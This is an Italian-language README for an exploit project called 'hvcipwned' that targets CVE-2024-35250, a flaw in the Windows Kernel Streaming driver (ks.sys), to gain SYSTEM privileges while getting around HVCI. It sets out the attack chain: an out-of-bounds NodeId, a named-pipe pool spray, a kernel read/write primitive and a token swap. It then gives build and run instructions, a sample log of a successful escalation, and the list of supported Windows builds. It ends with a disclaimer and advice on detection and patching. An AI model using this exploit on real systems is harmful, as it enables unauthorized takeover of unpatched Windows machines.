
CVE-2024-35250 dimostra che HVCI non è una difesa contro gli exploit del kernel basati solo su dati. Finché un bug del driver fornisce una primitiva arbitraria di R/W, il token swap rimane una tecnica universale di elevazione a SYSTEM — senza necessità di esecuzione di codice.
Elevazione locale dei privilegi tramite dereferenziazione di puntatore non attendibile nel driver Kernel Streaming di Windows (ks.sys).
Exploit basato solo su dati — bypassa la Code Integrity protetta da hypervisor (HVCI).
| Campo | Dettaglio |
|---|---|
| CVE | CVE-2024-35250 |
| Componente | ks.sys (Kernel Streaming) |
| Classe del bug | Dereferenziazione di puntatore non attendibile |
| Impatto | Elevazione dei privilegi a NT AUTHORITY\SYSTEM |
| HVCI | Bypassata — nessuna esecuzione di codice nel kernel |
| Patch | KB5039212 (giugno 2024) |
| Sistemi interessati | Windows 10 20H1+ / Windows 11 21H2-23H2 |
ks!KspPropertyHandler smista le richieste di proprietà a livello di topologia tramite
KspProcessPropertyNode. Il campo NodeId della struttura KSP_NODE fornita dall'utente
viene usato come indice in un array interno della tabella di automazione
senza validazione dei limiti:
NtDeviceIoControlFile
ks!CKSFilter::DispatchDeviceIoControl
ks!KspPropertyHandler
ks!KspProcessPropertyNode
*(automationTable + NodeId * stride) <-- attacker-controlled
Un NodeId creato ad arte che supera il numero effettivo di nodi reindirizza la dereferenziazione
verso la memoria pool adiacente, fornendo una primitiva di lettura/scrittura fuori dai limiti.
L'exploit manipola esclusivamente le strutture dati del kernel:
EPROCESS tramite NtQuerySystemInformationActiveProcessLinks per individuare il PID 4 (System)Non viene iniettato shellcode. Non vengono create né eseguite pagine di codice non firmate. Nessun puntatore del flusso di controllo viene dirottato.
| Protezione | Stato |
|---|---|
| HVCI / KMCI | Bypassata |
| SMEP | Non attivato |
| SMAP | Non attivato |
| kCFG | Non attivato |
hvcipwned.sln in Visual StudioCtrl+Shift+B)Binario di output: x64\Release\hvcipwned.exe
cl.exe /nologo /W4 /O2 /TC ^
main.c device.c leak.c krw.c token.c exploit.c ^
/I ^
/Fe:exploit.exe ^
/link setupapi.lib kernel32.lib advapi32.lib
hvcipwned.exe
Eseguire da una sessione utente senza privilegi su un sistema vulnerabile (senza patch).
In caso di successo si apre una nuova finestra cmd.exe in esecuzione come NT AUTHORITY\SYSTEM.
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)
press enter to exit...
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h - types, log macros, nt api typedefs
├── offsets.h - per-build eprocess field offsets
├── device.h - ks device enumeration
├── leak.h - kernel address leaks
├── krw.h - r/w primitive context
├── token.h - token swap + shell spawn
└── exploit.h - top-level entry
├── main.c - entry point
├── device.c - setupapi device open
├── leak.c - NtQuerySystemInformation leaks
├── krw.c - vulnerability trigger + pool spray + r/w
├── token.c - eprocess walk + token overwrite
└── exploit.c - orchestration
Gli offset vengono risolti automaticamente in fase di esecuzione tramite RtlGetVersion.
Questo progetto è fornito esclusivamente per ricerca di sicurezza autorizzata e scopi educativi. Non utilizzarlo contro sistemi senza un'esplicita autorizzazione scritta. L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo software.
| CET / Shadow Stack |
| Non attivato |
| OS | Build | Stato |
|---|
| Windows 10 20H1 | 19041 | Supportata |
| Windows 10 20H2 | 19042 | Supportata |
| Windows 10 21H1 | 19043 | Supportata |
| Windows 10 21H2 | 19044 | Supportata |
| Windows 10 22H2 | 19045 | Supportata |
| Windows 11 21H2 | 22000 | Supportata |
| Windows 11 22H2 | 22621 | Supportata |
| Windows 11 23H2 | 22631 | Supportata |
| Azione | Dettaglio |
|---|
| Patch | Installare KB5039212 (giugno 2024) o successivo |
| Rilevamento | Monitorare IOCTL_KS_PROPERTY con il flag KSPROPERTY_TYPE_TOPOLOGY |
| EDR | Avvisare sulle modifiche all'integrità del token tramite callback del kernel EtwTi |
| Hardening | Limitare l'accesso degli utenti alle interfacce del dispositivo KS tramite DACL |